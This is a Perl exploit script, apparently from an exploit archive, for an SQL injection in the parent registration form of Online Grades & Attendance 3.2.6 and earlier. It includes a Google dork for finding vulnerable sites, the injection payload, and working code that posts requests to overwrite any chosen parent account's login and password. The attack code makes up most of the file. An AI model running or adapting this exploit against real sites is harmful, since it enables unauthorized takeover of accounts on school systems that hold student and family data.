#!/usr/bin/perl
#-------------------------------------------------------------------------------------------------------------------
#(Post Form --> Parent Register (name)) Credentials Changer (SQLi) EXPLOIT -- Online Grades & Attendance v-3.2.6-->
#-------------------------------------------------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://www.onlinegrades.org/
#-->DOWNLOAD: http://www.onlinegrades.org/
#-->DEMO: http://www.onlinegrades.org/demo_info
#-->CATEGORY: CMS / Education
#-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same
#               features plus many new features. OG is a web based grade...
#-->RELEASED: 2009-02-05
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "Powered by Online Grades"   
#-->CATEGORY: SQL INJECTION
#-->AFFECT VERSION: <= 3.2.6
#-->Discovered Bug date: 2009-05-21
#-->Reported Bug date: 2009-05-21
#-->Fixed bug date: Not fixed
#-->Info patch: Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Option --> Self Registration --> Allowed (Default value)
#
#-------
#NEED:
#-------
#
#Valid parent id
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (name) is vuln to sql injection.
#
#Full name --> y3nh4ck3r', id=1 ON DUPLICATE KEY UPDATE client_id='owned'#
#
#Other parameters --> something
#
#
#Return: Change client_id to 'owned' for parent id=1
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
        my $SO = $^O;
        my $linux = "";
        if (index(lc($SO),"win")!=-1){
                $linux="0";
        }else{
                $linux="1";
        }              
        if($linux){
                system("clear");
        }
        else{
                system("cls");
                system ("title Online Grades Attendance v-3.2.6 (Credentials changer) Exploit");
                system ("color 02");
        }
}
sub request {
        my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        if($_[2] eq "post"){
                $request = HTTP::Request -> new(POST => $_[0]);
                $request->referer($_[0]);
                $request->content_type('application/x-www-form-urlencoded');
                $request->content($_[1]);
        }else{
                $request = HTTP::Request -> new(GET => $_[0]);
        }
        my $outcode= $userag->request($request)->as_string;
        return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t--->Maybe:\n\n";
        print "\t\t1.-Patched.\n";
        print "\t\t2.-Bad path or host.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
        print "\tWeb isn't vulnerable!\n\n";
        print "\t\tRaison--> Magic quotes ON.\n";
        print "\t\tEXPLOIT FAILED!\n";
        print "\t------------------------------------------------------------\n";
}
sub helper {
        print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 (Credentials changer) Exploit\n";
        print "\t[!!!] USAGE MODE: [!!!]\n";
        print "\t[!!!] perl $0 [HOST] [PATH] [Email Address] [Password] [Target_id]\n";
        print "\t[!!!] [HOST]: Web.\n";
        print "\t[!!!] [PATH]: Home Path.\n";
        print "\t[!!!] [Email Address]: Set value\n";
        print "\t[!!!] [Password]: Set value\n";
        print "\t[!!!] [Target_id]: victim id\n";
        print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'y3nh4ck3r' 'y3nh4ck3r' '1' \n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           (Credentials changer) Exploit           ##\n\n";
print "\t##         ++Conditions: magic_quotes=OFF            ##\n\n";
print "\t##         ++Needed: Valid parent id                 ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $client_id=$ARGV[2];
my $client_pw=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3)
        {
                &helper;
                exit(1);       
        }      
        if(!$ARGV[4]){
                $target_id=1;
        }else{
                $target_id=$ARGV[4];   
        }

#Build uri
my $finalhost="http://".$host."/".$path."/parents/register.php?action=register";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#sql injection 
$injection="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE client_id='".$values."'#";
$post="name=".$injection."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($phpinfo,0,'get');
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td
class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
        &errormagicquotes;
        exit(1);
}
$injection_email="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE
client_id='".$client_id."'#";
$post="name=".$injection_email."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
$injection_pw="y3nh4ck3r', id=".$target_id." ON DUPLICATE KEY UPDATE
client_pw='".$client_pw."'#";
$post="name=".$injection_pw."&email=y3nh4ck3r%40gmail.com&pass1=y3nh4ck3r&pass2=y3nh4ck3r";
$output=&request($finalhost, $post, 'post');
#processed
if($output!~(/\<strong\>ERROR\<\/strong\>/))
{ 
                print "\n\t-----------------------------------------------------------------\n";
                print "\t--  EXPLOIT EXECUTED (Online Grades & Attendance <= v-3.2.6)   --\n";
                print "\t--                  (Credentials changer) Exploit              --\n";
                print "\t-----------------------------------------------------------------\n\n";
                print "\t\tParent credentials changed!\n\n";
                print "\t\tIf id doesn't exist, you add a new inconsistent user!\n\n";
                print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
                print "\t<<<<<<--------------Thanks to: y3hn4ck3r------------>>>>>>>\n\n";
                print "\t<<<<<<-----------------------EOF-------------------->>>>>>>\n\n";
}else{
        &error;
}
exit(1);
#Ok...all job done